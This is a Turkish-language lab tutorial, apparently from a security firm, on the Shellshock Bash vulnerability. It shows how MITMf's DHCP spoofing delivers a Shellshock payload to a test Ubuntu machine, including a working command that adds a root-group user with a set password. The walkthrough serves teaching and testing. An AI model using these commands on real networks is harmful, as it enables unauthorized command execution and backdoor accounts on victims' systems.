Shellshock, Unix ve benzeri işletim sistemlerinde komut satırı kabuğu ve betik dili olan “Bash” üzerinde komut çalıştırmaya yarayan zafiyete verilen isimdir. Zafiyetin bu kadar ses getirmesinin nedenleri ise, hem uzaktan hem de yerelden zafiyetin istismar edilebiliyor olması ve zafiyetin bash kaynaklı olmasının yanında bash kullanan uygulamalar/servisler üzerinden de zafiyetin istismar edilebiliyor olmasıdır.
Dolayısıyla zafiyetten milyonlarca sistem (Unix, Linux, BSD, Mac OS, Android, IOS) ve cihaz (Modemler, Firewallar vs.) etkilenmektedir. NIST (National Institute of Standarts and Technology) tarafından zafiyet 10 üzerinden 10 olarak değerlendirilmiştir. Shellshoc zafiyeti birçok servis üzerinden (için HTTP, SSH, DHCP, FTP ve QMail) istismar edilebiliyor.
Test Ortamı
Zafiyetin istismarı yazı içerisinde Kali Linux dağıtımı üzerinde MITMf (Man In The Middle Framework) hedef olarak ise Ubunutu 10.04 kullanılmıştır. Hedefe DHCP Spoofing saldırısı gerçekleştirilmiş ardından Shellshock zafiyeti kullanılarak hedef sisteme kullanıcı eklenmiştir.
Zafiyetin İstismarı
MITMf aşağıdaki komut ile DHCP Spoofing ve Shellshock istismarı için çalıştırılabilir ve echo komutu ile “BGA SHELLSHOCK TEST” yazdırılacaktır.
$ mitmf –iface eth0 –spoof –dhcp –shellshock –cmd “echo ‘BGA SHELLSHOCK TEST'”
[*] MITMf v0.8 started… initializing plugins and modules
[*] Spoof plugin online
[*] DHCP Spoofing enabled
[*] Setting up iptables
[*] sslstrip v0.9 by Moxie Marlinspike running…
[*] sergio-proxy v0.2.1 online
|
Hedef bilgisayar (BGA-PC-1) IP alabilmek için ağ içerisindeki tüm bilgisayarlara Broadcast paketi şeklinde DHCP Discovery (DHCP Keşif) paketleri gönderir ve saldırgan (BGA-PC-2) bilgisayarda çalışan MITMf, DHCP Discover paketine DHCP Offer (DHCP Teklifi) paketi ile yanıt verir. Ardından hedef bilgisayar gelen DHCP Offer paketine DHCP Request (DHCP Talebi) ile yanıt verir ve hedef bilgisayarda buna DHCP Acknowledge (DHCP Onayı) paketi ile yanıt vererek hedef bilgisayarın IP alması sağlanır. MITMf DHCP Acknowledge paketi gönderirken Shellshock payloadinida ekler. Böylece zafiyet istismar edilerek hedef bilgisayar üzerinde istenilen komut çalıştırılır.
Aşağıdaki ekran görüntüsünde MITMf’ün hedef bilgisayar ile aralarında olan DHCP paket iletişimi görülmektedir.
Aşağıdaki ekran görüntüsünde de hedef bilgisayar üzerinde çalışmış olan payload görülmektedir.
Artık hedef sistem üzerinde Shellshock zafiyetinin varlığı doğrulanmıştır ve bu noktadan sonra hedef üzerinde komut çalıştırılabilir. Test ortamında hedef sisteme kullanıcı eklenmiştir bunun için aşağıdaki komut kullanılabilir.
$ mitmf –iface eth0 –spoof –dhcp –shellshock –cmd “/usr/sbin/useradd BGASShock -g root -p bga123”
Yukarıdaki komut çalıştığında hedef sisteme “BGASShock” isimli kullanıcı “bga123” parolası ile oluşturulacaktır. Aşağıda sistem üzerinde oluşturulmuş kullanıcı hesabı görülmektedir.